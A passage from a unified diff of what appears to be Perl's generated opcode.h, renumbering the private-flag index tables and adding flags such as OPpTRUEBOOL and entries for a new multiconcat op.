+      75, /* exp */
+      75, /* log */
+      75, /* sqrt */
+      75, /* int */
+      75, /* hex */
+      75, /* oct */
+      75, /* abs */
+      95, /* length */
+      98, /* substr */
+     101, /* vec */
+     103, /* index */
+     103, /* rindex */
+      52, /* sprintf */
+      52, /* formline */
+      75, /* ord */
+      75, /* chr */
+      93, /* crypt */
        0, /* ucfirst */
        0, /* lcfirst */
        0, /* uc */
        0, /* lc */
        0, /* quotemeta */
-      81, /* rv2av */
-      87, /* aelemfast */
-      87, /* aelemfast_lex */
-      88, /* aelem */
-      93, /* aslice */
-      96, /* kvaslice */
+     107, /* rv2av */
+     114, /* aelemfast */
+     114, /* aelemfast_lex */
+     115, /* aelem */
+     120, /* aslice */
+     123, /* kvaslice */
        0, /* aeach */
        0, /* avalues */
-      38, /* akeys */
+      40, /* akeys */
        0, /* each */
-       0, /* values */
-      38, /* keys */
-      97, /* delete */
-     100, /* exists */
-     102, /* rv2hv */
-      88, /* helem */
-      93, /* hslice */
-      96, /* kvhslice */
-     110, /* multideref */
-      47, /* unpack */
-      47, /* pack */
-     117, /* split */
-      47, /* join */
-     122, /* list */
+      40, /* values */
+      40, /* keys */
+     124, /* delete */
+     128, /* exists */
+     130, /* rv2hv */
+     115, /* helem */
+     120, /* hslice */
+     123, /* kvhslice */
+     138, /* multideref */
+      52, /* unpack */
+      52, /* pack */
+     145, /* split */
+      52, /* join */
+     150, /* list */
       12, /* lslice */
-      47, /* anonlist */
-      47, /* anonhash */
-      47, /* splice */
-      74, /* push */
+      52, /* anonlist */
+      52, /* anonhash */
+      52, /* splice */
+      93, /* push */
        0, /* pop */
        0, /* shift */
-      74, /* unshift */
-     124, /* sort */
-     131, /* reverse */
+      93, /* unshift */
+     152, /* sort */
+     159, /* reverse */
        0, /* grepstart */
-       0, /* grepwhile */
+     161, /* grepwhile */
        0, /* mapstart */
        0, /* mapwhile */
        0, /* range */
-     133, /* flip */
-     133, /* flop */
+     163, /* flip */
+     163, /* flop */
        0, /* and */
        0, /* or */
       12, /* xor */
        0, /* dor */
-     135, /* cond_expr */
+     165, /* cond_expr */
        0, /* andassign */
        0, /* orassign */
        0, /* dorassign */
-       0, /* method */
-     137, /* entersub */
-     144, /* leavesub */
-     144, /* leavesublv */
+     167, /* entersub */
+     174, /* leavesub */
+     174, /* leavesublv */
        0, /* argcheck */
-     146, /* argelem */
+     176, /* argelem */
        0, /* argdefelem */
-     148, /* caller */
-      47, /* warn */
-      47, /* die */
-      47, /* reset */
+     178, /* caller */
+      52, /* warn */
+      52, /* die */
+      52, /* reset */
       -1, /* lineseq */
-     150, /* nextstate */
-     150, /* dbstate */
+     180, /* nextstate */
+     180, /* dbstate */
       -1, /* unstack */
       -1, /* enter */
-     151, /* leave */
+     181, /* leave */
       -1, /* scope */
-     153, /* enteriter */
-     157, /* iter */
+     183, /* enteriter */
+     187, /* iter */
       -1, /* enterloop */
-     158, /* leaveloop */
+     188, /* leaveloop */
       -1, /* return */
-     160, /* last */
-     160, /* next */
-     160, /* redo */
-     160, /* dump */
-     160, /* goto */
-      47, /* exit */
+     190, /* last */
+     190, /* next */
+     190, /* redo */
+     190, /* dump */
+     190, /* goto */
+      52, /* exit */
+       0, /* method */
        0, /* method_named */
        0, /* method_super */
        0, /* method_redir */
@@ -2664,143 +2681,143 @@
        0, /* leavewhen */
       -1, /* break */
       -1, /* continue */
-     162, /* open */
-      47, /* close */
-      47, /* pipe_op */
-      47, /* fileno */
-      47, /* umask */
-      47, /* binmode */
-      47, /* tie */
+     192, /* open */
+      52, /* close */
+      52, /* pipe_op */
+      52, /* fileno */
+      52, /* umask */
+      52, /* binmode */
+      52, /* tie */
        0, /* untie */
        0, /* tied */
-      47, /* dbmopen */
+      52, /* dbmopen */
        0, /* dbmclose */
-      47, /* sselect */
-      47, /* select */
-      47, /* getc */
-      47, /* read */
-      47, /* enterwrite */
-     144, /* leavewrite */
+      52, /* sselect */
+      52, /* select */
+      52, /* getc */
+      52, /* read */
+      52, /* enterwrite */
+     174, /* leavewrite */
       -1, /* prtf */
       -1, /* print */
       -1, /* say */
-      47, /* sysopen */
-      47, /* sysseek */
-      47, /* sysread */
-      47, /* syswrite */
-      47, /* eof */
-      47, /* tell */
-      47, /* seek */
-      47, /* truncate */
-      47, /* fcntl */
-      47, /* ioctl */
-      74, /* flock */
-      47, /* send */
-      47, /* recv */
-      47, /* socket */
-      47, /* sockpair */
-      47, /* bind */
-      47, /* connect */
-      47, /* listen */
-      47, /* accept */
-      47, /* shutdown */
-      47, /* gsockopt */
-      47, /* ssockopt */
+      52, /* sysopen */
+      52, /* sysseek */
+      52, /* sysread */
+      52, /* syswrite */
+      52, /* eof */
+      52, /* tell */
+      52, /* seek */
+      52, /* truncate */
+      52, /* fcntl */
+      52, /* ioctl */
+      93, /* flock */
+      52, /* send */
+      52, /* recv */
+      52, /* socket */
+      52, /* sockpair */
+      52, /* bind */
+      52, /* connect */
+      52, /* listen */
+      52, /* accept */
+      52, /* shutdown */
+      52, /* gsockopt */
+      52, /* ssockopt */
        0, /* getsockname */
        0, /* getpeername */
        0, /* lstat */
        0, /* stat */
-     167, /* ftrread */
-     167, /* ftrwrite */
-     167, /* ftrexec */
-     167, /* fteread */
-     167, /* ftewrite */
-     167, /* fteexec */
-     172, /* ftis */
-     172, /* ftsize */
-     172, /* ftmtime */
-     172, /* ftatime */
-     172, /* ftctime */
-     172, /* ftrowned */
-     172, /* fteowned */
-     172, /* ftzero */
-     172, /* ftsock */
-     172, /* ftchr */
-     172, /* ftblk */
-     172, /* ftfile */
-     172, /* ftdir */
-     172, /* ftpipe */
-     172, /* ftsuid */
-     172, /* ftsgid */
-     172, /* ftsvtx */
-     172, /* ftlink */
-     172, /* fttty */
-     172, /* fttext */
-     172, /* ftbinary */
-      74, /* chdir */
-      74, /* chown */
-      68, /* chroot */
-      74, /* unlink */
-      74, /* chmod */
-      74, /* utime */
-      74, /* rename */
-      74, /* link */
-      74, /* symlink */
+     197, /* ftrread */
+     197, /* ftrwrite */
+     197, /* ftrexec */
+     197, /* fteread */
+     197, /* ftewrite */
+     197, /* fteexec */
+     202, /* ftis */
+     202, /* ftsize */
+     202, /* ftmtime */
+     202, /* ftatime */
+     202, /* ftctime */
+     202, /* ftrowned */
+     202, /* fteowned */
+     202, /* ftzero */
+     202, /* ftsock */
+     202, /* ftchr */
+     202, /* ftblk */
+     202, /* ftfile */
+     202, /* ftdir */
+     202, /* ftpipe */
+     202, /* ftsuid */
+     202, /* ftsgid */
+     202, /* ftsvtx */
+     202, /* ftlink */
+     202, /* fttty */
+     202, /* fttext */
+     202, /* ftbinary */
+      93, /* chdir */
+      93, /* chown */
+      75, /* chroot */
+      93, /* unlink */
+      93, /* chmod */
+      93, /* utime */
+      93, /* rename */
+      93, /* link */
+      93, /* symlink */
        0, /* readlink */
-      74, /* mkdir */
-      68, /* rmdir */
-      47, /* open_dir */
+      93, /* mkdir */
+      75, /* rmdir */
+      52, /* open_dir */
        0, /* readdir */
        0, /* telldir */
-      47, /* seekdir */
+      52, /* seekdir */
        0, /* rewinddir */
        0, /* closedir */
       -1, /* fork */
-     176, /* wait */
-      74, /* waitpid */
-      74, /* system */
-      74, /* exec */
-      74, /* kill */
-     176, /* getppid */
-      74, /* getpgrp */
-      74, /* setpgrp */
-      74, /* getpriority */
-      74, /* setpriority */
-     176, /* time */
+     206, /* wait */
+      93, /* waitpid */
+      93, /* system */
+      93, /* exec */
+      93, /* kill */
+     206, /* getppid */
+      93, /* getpgrp */
+      93, /* setpgrp */
+      93, /* getpriority */
+      93, /* setpriority */
+     206, /* time */
       -1, /* tms */
        0, /* localtime */
-      47, /* gmtime */
+      52, /* gmtime */
        0, /* alarm */
-      74, /* sleep */
-      47, /* shmget */
-      47, /* shmctl */
-      47, /* shmread */
-      47, /* shmwrite */
-      47, /* msgget */
-      47, /* msgctl */
-      47, /* msgsnd */
-      47, /* msgrcv */
-      47, /* semop */
-      47, /* semget */
-      47, /* semctl */
+      93, /* sleep */
+      52, /* shmget */
+      52, /* shmctl */
+      52, /* shmread */
+      52, /* shmwrite */
+      52, /* msgget */
+      52, /* msgctl */
+      52, /* msgsnd */
+      52, /* msgrcv */
+      52, /* semop */
+      52, /* semget */
+      52, /* semctl */
        0, /* require */
        0, /* dofile */
       -1, /* hintseval */
-     177, /* entereval */
-     144, /* leaveeval */
+     207, /* entereval */
+     174, /* leaveeval */
        0, /* entertry */
       -1, /* leavetry */
        0, /* ghbyname */
-      47, /* ghbyaddr */
+      52, /* ghbyaddr */
       -1, /* ghostent */
        0, /* gnbyname */
-      47, /* gnbyaddr */
+      52, /* gnbyaddr */
       -1, /* gnetent */
        0, /* gpbyname */
-      47, /* gpbynumber */
+      52, /* gpbynumber */
       -1, /* gprotoent */
-      47, /* gsbyname */
-      47, /* gsbyport */
+      52, /* gsbyname */
+      52, /* gsbyport */
       -1, /* gservent */
        0, /* shostent */
        0, /* snetent */
@@ -2821,22 +2838,22 @@
       -1, /* sgrent */
       -1, /* egrent */
       -1, /* getlogin */
-      47, /* syscall */
+      52, /* syscall */
        0, /* lock */
        0, /* once */
       -1, /* custom */
-     183, /* coreargs */
-     187, /* avhvswitch */
+     213, /* coreargs */
+     217, /* avhvswitch */
        3, /* runcv */
        0, /* fc */
       -1, /* padcv */
       -1, /* introcv */
       -1, /* clonecv */
-     189, /* padrange */
-     191, /* refassign */
-     197, /* lvref */
-     203, /* lvrefslice */
-     204, /* lvavref */
+     219, /* padrange */
+     221, /* refassign */
+     227, /* lvref */
+     233, /* lvrefslice */
+     234, /* lvavref */
        0, /* anonconst */
 
 };
@@ -2856,68 +2873,76 @@
  */
 
 EXTCONST U16  PL_op_private_bitdefs[] = {
-    0x0003, /* scalar, prototype, refgen, srefgen, ref, readline, regcmaybe, regcreset, regcomp, substcont, chop, schop, defined, undef, study, preinc, i_preinc, predec, i_predec, postinc, i_postinc, postdec, i_postdec, negate, i_negate, not, complement, ucfirst, lcfirst, uc, lc, quotemeta, aeach, avalues, each, values, pop, shift, grepstart, grepwhile, mapstart, mapwhile, range, and, or, dor, andassign, orassign, dorassign, method, argcheck, argdefelem, method_named, method_super, method_redir, method_redir_super, entergiven, leavegiven, enterwhen, leavewhen, untie, tied, dbmclose, getsockname, getpeername, lstat, stat, readlink, readdir, telldir, rewinddir, closedir, localtime, alarm, require, dofile, entertry, ghbyname, gnbyname, gpbyname, shostent, snetent, sprotoent, sservent, gpwnam, gpwuid, ggrnam, ggrgid, lock, once, fc, anonconst */
-    0x2cbc, 0x3df9, /* pushmark */
+    0x0003, /* scalar, prototype, refgen, srefgen, readline, regcmaybe, regcreset, regcomp, substcont, chop, schop, defined, undef, study, preinc, i_preinc, predec, i_predec, postinc, i_postinc, postdec, i_postdec, negate, i_negate, not, complement, ucfirst, lcfirst, uc, lc, quotemeta, aeach, avalues, each, pop, shift, grepstart, mapstart, mapwhile, range, and, or, dor, andassign, orassign, dorassign, argcheck, argdefelem, method, method_named, method_super, method_redir, method_redir_super, entergiven, leavegiven, enterwhen, leavewhen, untie, tied, dbmclose, getsockname, getpeername, lstat, stat, readlink, readdir, telldir, rewinddir, closedir, localtime, alarm, require, dofile, entertry, ghbyname, gnbyname, gpbyname, shostent, snetent, sprotoent, sservent, gpwnam, gpwuid, ggrnam, ggrgid, lock, once, fc, anonconst */
+    0x2f3c, 0x4119, /* pushmark */
     0x00bd, /* wantarray, runcv */
-    0x0498, 0x18d0, 0x3eac, 0x3968, 0x3085, /* const */
-    0x2cbc, 0x31d9, /* gvsv */
-    0x1735, /* gv */
+    0x0578, 0x19b0, 0x41cc, 0x3c88, 0x3465, /* const */
+    0x2f3c, 0x35b9, /* gvsv */
+    0x1815, /* gv */
     0x0067, /* gelem, lt, i_lt, gt, i_gt, le, i_le, ge, i_ge, eq, i_eq, ne, i_ne, ncmp, i_ncmp, slt, sgt, sle, sge, seq, sne, scmp, bit_and, bit_xor, bit_or, sbit_and, sbit_xor, sbit_or, smartmatch, lslice, xor */
-    0x2cbc, 0x3df8, 0x03d7, /* padsv */
-    0x2cbc, 0x3df8, 0x2dac, 0x3ae9, /* padav */
-    0x2cbc, 0x3df8, 0x0614, 0x06b0, 0x2dac, 0x3ae9, /* padhv */
-    0x2cbc, 0x1ab8, 0x03d6, 0x2dac, 0x2fa8, 0x3ea4, 0x0003, /* rv2gv */
-    0x2cbc, 0x31d8, 0x03d6, 0x3ea4, 0x0003, /* rv2sv */
-    0x2dac, 0x0003, /* av2arylen, pos, akeys, keys */
-    0x2f1c, 0x0ef8, 0x0c54, 0x028c, 0x4068, 0x3ea4, 0x0003, /* rv2cv */
+    0x2f3c, 0x4118, 0x03d7, /* padsv */
+    0x2f3c, 0x4118, 0x06f4, 0x302c, 0x3e09, /* padav */
+    0x2f3c, 0x4118, 0x06f4, 0x0790, 0x302c, 0x3e08, 0x2aa1, /* padhv */
+    0x2f3c, 0x1b98, 0x03d6, 0x302c, 0x3388, 0x41c4, 0x0003, /* rv2gv */
+    0x2f3c, 0x35b8, 0x03d6, 0x41c4, 0x0003, /* rv2sv */
+    0x302c, 0x0003, /* av2arylen, akeys, values, keys */
+    0x32fc, 0x0fd8, 0x0d34, 0x028c, 0x44c8, 0x41c4, 0x0003, /* rv2cv */
+    0x06f4, 0x0790, 0x0003, /* ref */
     0x018f, /* bless, glob, sprintf, formline, unpack, pack, join, anonlist, anonhash, splice, warn, die, reset, exit, close, pipe_op, fileno, umask, binmode, tie, dbmopen, sselect, select, getc, read, enterwrite, sysopen, sysseek, sysread, syswrite, eof, tell, seek, truncate, fcntl, ioctl, send, recv, socket, sockpair, bind, connect, listen, accept, shutdown, gsockopt, ssockopt, open_dir, seekdir, gmtime, shmget, shmctl, shmread, shmwrite, msgget, msgctl, msgsnd, msgrcv, semop, semget, semctl, ghbyaddr, gnbyaddr, gpbynumber, gsbyname, gsbyport, syscall */
-    0x33bc, 0x32d8, 0x2714, 0x2650, 0x0003, /* backtick */
-    0x0ffc, 0x2038, 0x0834, 0x3c2c, 0x23c8, 0x01e4, 0x0141, /* trans, transr */
-    0x0e3c, 0x0538, 0x0067, /* sassign */
-    0x0af8, 0x09f4, 0x08f0, 0x2dac, 0x0067, /* aassign */
-    0x4110, 0x0003, /* chomp, schomp, ncomplement, scomplement, sin, cos, exp, log, sqrt, int, hex, oct, abs, length, ord, chr, chroot, rmdir */
-    0x4110, 0x0067, /* pow, multiply, i_multiply, divide, i_divide, modulo, i_modulo, add, i_add, subtract, i_subtract, concat, left_shift, right_shift, nbit_and, nbit_xor, nbit_or */
-    0x13b8, 0x0067, /* repeat */
-    0x4110, 0x018f, /* stringify, atan2, rand, srand, index, rindex, crypt, push, unshift, flock, chdir, chown, unlink, chmod, utime, rename, link, symlink, mkdir, waitpid, system, exec, kill, getpgrp, setpgrp, getpriority, setpriority, sleep */
-    0x36d0, 0x2dac, 0x012b, /* substr */
-    0x2dac, 0x0067, /* vec */
-    0x2cbc, 0x31d8, 0x2dac, 0x3ae8, 0x3ea4, 0x0003, /* rv2av */
+    0x379c, 0x36b8, 0x27f4, 0x2730, 0x0003, /* backtick */
+    0x06f5, /* subst */
+    0x10dc, 0x2118, 0x0914, 0x3f4c, 0x24a8, 0x01e4, 0x0141, /* trans, transr */
+    0x0f1c, 0x0618, 0x0067, /* sassign */
+    0x0bd8, 0x0ad4, 0x09d0, 0x302c, 0x06e8, 0x0067, /* aassign */
+    0x4570, 0x0003, /* chomp, schomp, ncomplement, scomplement, sin, cos, exp, log, sqrt, int, hex, oct, abs, ord, chr, chroot, rmdir */
+    0x06f4, 0x302c, 0x0003, /* pos */
+    0x4570, 0x0067, /* pow, multiply, i_multiply, divide, i_divide, modulo, i_modulo, add, i_add, subtract, i_subtract, left_shift, right_shift, nbit_and, nbit_xor, nbit_or */
+    0x1498, 0x0067, /* repeat */
+    0x3218, 0x4570, 0x0067, /* concat */
+    0x2f3c, 0x0358, 0x1b94, 0x4570, 0x42ac, 0x0003, /* multiconcat */
+    0x4570, 0x018f, /* stringify, atan2, rand, srand, crypt, push, unshift, flock, chdir, chown, unlink, chmod, utime, rename, link, symlink, mkdir, waitpid, system, exec, kill, getpgrp, setpgrp, getpriority, setpriority, sleep */
+    0x06f4, 0x4570, 0x0003, /* length */
+    0x39f0, 0x302c, 0x012b, /* substr */
+    0x302c, 0x0067, /* vec */
+    0x3198, 0x06f4, 0x4570, 0x018f, /* index, rindex */
+    0x2f3c, 0x35b8, 0x06f4, 0x302c, 0x3e08, 0x41c4, 0x0003, /* rv2av */
     0x025f, /* aelemfast, aelemfast_lex */
-    0x2cbc, 0x2bb8, 0x03d6, 0x2dac, 0x0067, /* aelem, helem */
-    0x2cbc, 0x2dac, 0x3ae9, /* aslice, hslice */
-    0x2dad, /* kvaslice, kvhslice */
-    0x2cbc, 0x3a38, 0x0003, /* delete */
-    0x3f98, 0x0003, /* exists */
-    0x2cbc, 0x31d8, 0x0614, 0x06b0, 0x2dac, 0x3ae8, 0x3ea4, 0x0003, /* rv2hv */
-    0x2cbc, 0x2bb8, 0x1074, 0x19d0, 0x2dac, 0x3ea4, 0x0003, /* multideref */
-    0x2cbc, 0x31d8, 0x0350, 0x29cc, 0x2489, /* split */
-    0x2cbc, 0x20f9, /* list */
-    0x3d18, 0x3474, 0x1310, 0x27ac, 0x37c8, 0x28a4, 0x3141, /* sort */
-    0x27ac, 0x0003, /* reverse */
-    0x2a58, 0x0003, /* flip, flop */
-    0x2cbc, 0x0003, /* cond_expr */
-    0x2cbc, 0x0ef8, 0x03d6, 0x028c, 0x4068, 0x3ea4, 0x2561, /* entersub */
-    0x3538, 0x0003, /* leavesub, leavesublv, leavewrite, leaveeval */
+    0x2f3c, 0x2e38, 0x03d6, 0x302c, 0x0067, /* aelem, helem */
+    0x2f3c, 0x302c, 0x3e09, /* aslice, hslice */
+    0x302d, /* kvaslice, kvhslice */
+    0x2f3c, 0x3d58, 0x2b54, 0x0003, /* delete */
+    0x43f8, 0x0003, /* exists */
+    0x2f3c, 0x35b8, 0x06f4, 0x0790, 0x302c, 0x3e08, 0x41c4, 0x2aa1, /* rv2hv */
+    0x2f3c, 0x2e38, 0x1154, 0x1ab0, 0x302c, 0x41c4, 0x0003, /* multideref */
+    0x2f3c, 0x35b8, 0x0430, 0x2c4c, 0x2569, /* split */
+    0x2f3c, 0x21d9, /* list */
+    0x46dc, 0x4038, 0x13f0, 0x288c, 0x3ae8, 0x2984, 0x3521, /* sort */
+    0x288c, 0x0003, /* reverse */
+    0x06f4, 0x0003, /* grepwhile */
+    0x2cd8, 0x0003, /* flip, flop */
+    0x2f3c, 0x0003, /* cond_expr */
+    0x2f3c, 0x0fd8, 0x03d6, 0x028c, 0x44c8, 0x41c4, 0x2641, /* entersub */
+    0x3858, 0x0003, /* leavesub, leavesublv, leavewrite, leaveeval */
     0x02aa, 0x0003, /* argelem */
     0x00bc, 0x018f, /* caller */
-    0x22d5, /* nextstate, dbstate */
-    0x2b5c, 0x3539, /* leave */
-    0x2cbc, 0x31d8, 0x0f6c, 0x3845, /* enteriter */
-    0x3845, /* iter */
-    0x2b5c, 0x0067, /* leaveloop */
-    0x427c, 0x0003, /* last, next, redo, dump, goto */
-    0x33bc, 0x32d8, 0x2714, 0x2650, 0x018f, /* open */
-    0x1c70, 0x1ecc, 0x1d88, 0x1b44, 0x0003, /* ftrread, ftrwrite, ftrexec, fteread, ftewrite, fteexec */
-    0x1c70, 0x1ecc, 0x1d88, 0x0003, /* ftis, ftsize, ftmtime, ftatime, ftctime, ftrowned, fteowned, ftzero, ftsock, ftchr, ftblk, ftfile, ftdir, ftpipe, ftsuid, ftsgid, ftsvtx, ftlink, fttty, fttext, ftbinary */
-    0x4111, /* wait, getppid, time */
-    0x35d4, 0x0d10, 0x076c, 0x41e8, 0x21e4, 0x0003, /* entereval */
-    0x2e7c, 0x0018, 0x1224, 0x1141, /* coreargs */
-    0x2dac, 0x00c7, /* avhvswitch */
-    0x2cbc, 0x01fb, /* padrange */
-    0x2cbc, 0x3df8, 0x04f6, 0x292c, 0x1828, 0x0067, /* refassign */
-    0x2cbc, 0x3df8, 0x04f6, 0x292c, 0x1828, 0x0003, /* lvref */
-    0x2cbd, /* lvrefslice */
-    0x2cbc, 0x3df8, 0x0003, /* lvavref */
+    0x23b5, /* nextstate, dbstate */
+    0x2ddc, 0x3859, /* leave */
+    0x2f3c, 0x35b8, 0x104c, 0x3b65, /* enteriter */
+    0x3b65, /* iter */
+    0x2ddc, 0x0067, /* leaveloop */
+    0x47fc, 0x0003, /* last, next, redo, dump, goto */
+    0x379c, 0x36b8, 0x27f4, 0x2730, 0x018f, /* open */
+    0x1d50, 0x1fac, 0x1e68, 0x1c24, 0x0003, /* ftrread, ftrwrite, ftrexec, fteread, ftewrite, fteexec */
+    0x1d50, 0x1fac, 0x1e68, 0x0003, /* ftis, ftsize, ftmtime, ftatime, ftctime, ftrowned, fteowned, ftzero, ftsock, ftchr, ftblk, ftfile, ftdir, ftpipe, ftsuid, ftsgid, ftsvtx, ftlink, fttty, fttext, ftbinary */
+    0x4571, /* wait, getppid, time */
+    0x38f4, 0x0df0, 0x084c, 0x4648, 0x22c4, 0x0003, /* entereval */
+    0x30fc, 0x0018, 0x1304, 0x1221, /* coreargs */
+    0x302c, 0x00c7, /* avhvswitch */
+    0x2f3c, 0x01fb, /* padrange */
+    0x2f3c, 0x4118, 0x04f6, 0x2a0c, 0x1908, 0x0067, /* refassign */
+    0x2f3c, 0x4118, 0x04f6, 0x2a0c, 0x1908, 0x0003, /* lvref */
+    0x2f3d, /* lvrefslice */
+    0x2f3c, 0x4118, 0x0003, /* lvavref */
 
 };
 
@@ -2936,8 +2961,8 @@
     /* GV         */ (OPpEARLY_CV),
     /* GELEM      */ (OPpARG2_MASK),
     /* PADSV      */ (OPpDEREF|OPpPAD_STATE|OPpLVAL_INTRO),
-    /* PADAV      */ (OPpSLICEWARNING|OPpMAYBE_LVSUB|OPpPAD_STATE|OPpLVAL_INTRO),
-    /* PADHV      */ (OPpSLICEWARNING|OPpMAYBE_LVSUB|OPpMAYBE_TRUEBOOL|OPpTRUEBOOL|OPpPAD_STATE|OPpLVAL_INTRO),
+    /* PADAV      */ (OPpSLICEWARNING|OPpMAYBE_LVSUB|OPpTRUEBOOL|OPpPAD_STATE|OPpLVAL_INTRO),
+    /* PADHV      */ (OPpPADHV_ISKEYS|OPpSLICEWARNING|OPpMAYBE_LVSUB|OPpMAYBE_TRUEBOOL|OPpTRUEBOOL|OPpPAD_STATE|OPpLVAL_INTRO),
     /* PADANY     */ (0),
     /* RV2GV      */ (OPpARG1_MASK|OPpHINT_STRICT_REFS|OPpDONT_INIT_GV|OPpMAYBE_LVSUB|OPpDEREF|OPpALLOW_FAKE|OPpLVAL_INTRO),
     /* RV2SV      */ (OPpARG1_MASK|OPpHINT_STRICT_REFS|OPpDEREF|OPpOUR_INTRO|OPpLVAL_INTRO),
@@ -2947,7 +2972,7 @@
     /* PROTOTYPE  */ (OPpARG1_MASK),
     /* REFGEN     */ (OPpARG1_MASK),
     /* SREFGEN    */ (OPpARG1_MASK),
-    /* REF        */ (OPpARG1_MASK),
+    /* REF        */ (OPpARG1_MASK|OPpMAYBE_TRUEBOOL|OPpTRUEBOOL),
     /* BLESS      */ (OPpARG4_MASK),
     /* BACKTICK   */ (OPpARG1_MASK|OPpOPEN_IN_RAW|OPpOPEN_IN_CRLF|OPpOPEN_OUT_RAW|OPpOPEN_OUT_CRLF),
     /* GLOB       */ (OPpARG4_MASK),
@@ -2958,12 +2983,12 @@
     /* REGCOMP    */ (OPpARG1_MASK),
     /* MATCH      */ (0),
     /* QR         */ (0),
-    /* SUBST      */ (0),
+    /* SUBST      */ (OPpTRUEBOOL),
     /* SUBSTCONT  */ (OPpARG1_MASK),
     /* TRANS      */ (OPpTRANS_FROM_UTF|OPpTRANS_TO_UTF|OPpTRANS_IDENTICAL|OPpTRANS_SQUASH|OPpTRANS_COMPLEMENT|OPpTRANS_GROWS|OPpTRANS_DELETE),
     /* TRANSR     */ (OPpTRANS_FROM_UTF|OPpTRANS_TO_UTF|OPpTRANS_IDENTICAL|OPpTRANS_SQUASH|OPpTRANS_COMPLEMENT|OPpTRANS_GROWS|OPpTRANS_DELETE),
     /* SASSIGN    */ (OPpARG2_MASK|OPpASSIGN_BACKWARDS|OPpASSIGN_CV_TO_GV),
-    /* AASSIGN    */ (OPpARG2_MASK|OPpMAYBE_LVSUB|OPpASSIGN_COMMON_AGG|OPpASSIGN_COMMON_RC1|OPpASSIGN_COMMON_SCALAR),
+    /* AASSIGN    */ (OPpARG2_MASK|OPpASSIGN_TRUEBOOL|OPpMAYBE_LVSUB|OPpASSIGN_COMMON_AGG|OPpASSIGN_COMMON_RC1|OPpASSIGN_COMMON_SCALAR),
     /* CHOP       */ (OPpARG1_MASK),
     /* SCHOP      */ (OPpARG1_MASK),
     /* CHOMP      */ (OPpARG1_MASK|OPpTARGET_MY),
@@ -2971,7 +2996,7 @@
     /* DEFINED    */ (OPpARG1_MASK),
     /* UNDEF      */ (OPpARG1_MASK),
     /* STUDY      */ (OPpARG1_MASK),
-    /* POS        */ (OPpARG1_MASK|OPpMAYBE_LVSUB),
+    /* POS        */ (OPpARG1_MASK|OPpMAYBE_LVSUB|OPpTRUEBOOL),
     /* PREINC     */ (OPpARG1_MASK),
     /* I_PREINC   */ (OPpARG1_MASK),
     /* PREDEC     */ (OPpARG1_MASK),
@@ -2992,7 +3017,8 @@
     /* I_ADD      */ (OPpARG2_MASK|OPpTARGET_MY),
     /* SUBTRACT   */ (OPpARG2_MASK|OPpTARGET_MY),
     /* I_SUBTRACT */ (OPpARG2_MASK|OPpTARGET_MY),
-    /* CONCAT     */ (OPpARG2_MASK|OPpTARGET_MY),
+    /* CONCAT     */ (OPpARG2_MASK|OPpTARGET_MY|OPpCONCAT_NESTED),
+    /* MULTICONCAT */ (OPpARG1_MASK|OPpMULTICONCAT_STRINGIFY|OPpTARGET_MY|OPpMULTICONCAT_FAKE|OPpMULTICONCAT_APPEND|OPpLVAL_INTRO),
     /* STRINGIFY  */ (OPpARG4_MASK|OPpTARGET_MY),
     /* LEFT_SHIFT */ (OPpARG2_MASK|OPpTARGET_MY),
     /* RIGHT_SHIFT */ (OPpARG2_MASK|OPpTARGET_MY),
@@ -3045,11 +3071,11 @@
     /* HEX        */ (OPpARG1_MASK|OPpTARGET_MY),
     /* OCT        */ (OPpARG1_MASK|OPpTARGET_MY),
     /* ABS        */ (OPpARG1_MASK|OPpTARGET_MY),
-    /* LENGTH     */ (OPpARG1_MASK|OPpTARGET_MY),
+    /* LENGTH     */ (OPpARG1_MASK|OPpTARGET_MY|OPpTRUEBOOL),
     /* SUBSTR     */ (OPpARG3_MASK|OPpMAYBE_LVSUB|OPpSUBSTR_REPL_FIRST),
     /* VEC        */ (OPpARG2_MASK|OPpMAYBE_LVSUB),
-    /* INDEX      */ (OPpARG4_MASK|OPpTARGET_MY),
-    /* RINDEX     */ (OPpARG4_MASK|OPpTARGET_MY),
+    /* INDEX      */ (OPpARG4_MASK|OPpTARGET_MY|OPpTRUEBOOL|OPpINDEX_BOOLNEG),
+    /* RINDEX     */ (OPpARG4_MASK|OPpTARGET_MY|OPpTRUEBOOL|OPpINDEX_BOOLNEG),
     /* SPRINTF    */ (OPpARG4_MASK),
     /* FORMLINE   */ (OPpARG4_MASK),
     /* ORD        */ (OPpARG1_MASK|OPpTARGET_MY),
@@ -3060,7 +3086,7 @@
     /* UC         */ (OPpARG1_MASK),
     /* LC         */ (OPpARG1_MASK),
     /* QUOTEMETA  */ (OPpARG1_MASK),
-    /* RV2AV      */ (OPpARG1_MASK|OPpHINT_STRICT_REFS|OPpSLICEWARNING|OPpMAYBE_LVSUB|OPpOUR_INTRO|OPpLVAL_INTRO),
+    /* RV2AV      */ (OPpARG1_MASK|OPpHINT_STRICT_REFS|OPpSLICEWARNING|OPpMAYBE_LVSUB|OPpTRUEBOOL|OPpOUR_INTRO|OPpLVAL_INTRO),
     /* AELEMFAST  */ (255),
     /* AELEMFAST_LEX */ (255),
     /* AELEM      */ (OPpARG2_MASK|OPpMAYBE_LVSUB|OPpDEREF|OPpLVAL_DEFER|OPpLVAL_INTRO),
@@ -3070,11 +3096,11 @@
     /* AVALUES    */ (OPpARG1_MASK),
     /* AKEYS      */ (OPpARG1_MASK|OPpMAYBE_LVSUB),
     /* EACH       */ (OPpARG1_MASK),
-    /* VALUES     */ (OPpARG1_MASK),
+    /* VALUES     */ (OPpARG1_MASK|OPpMAYBE_LVSUB),
     /* KEYS       */ (OPpARG1_MASK|OPpMAYBE_LVSUB),
-    /* DELETE     */ (OPpARG1_MASK|OPpSLICE|OPpLVAL_INTRO),
+    /* DELETE     */ (OPpARG1_MASK|OPpKVSLICE|OPpSLICE|OPpLVAL_INTRO),
     /* EXISTS     */ (OPpARG1_MASK|OPpEXISTS_SUB),
-    /* RV2HV      */ (OPpARG1_MASK|OPpHINT_STRICT_REFS|OPpSLICEWARNING|OPpMAYBE_LVSUB|OPpMAYBE_TRUEBOOL|OPpTRUEBOOL|OPpOUR_INTRO|OPpLVAL_INTRO),
+    /* RV2HV      */ (OPpRV2HV_ISKEYS|OPpHINT_STRICT_REFS|OPpSLICEWARNING|OPpMAYBE_LVSUB|OPpMAYBE_TRUEBOOL|OPpTRUEBOOL|OPpOUR_INTRO|OPpLVAL_INTRO),
     /* HELEM      */ (OPpARG2_MASK|OPpMAYBE_LVSUB|OPpDEREF|OPpLVAL_DEFER|OPpLVAL_INTRO),
     /* HSLICE     */ (OPpSLICEWARNING|OPpMAYBE_LVSUB|OPpLVAL_INTRO),
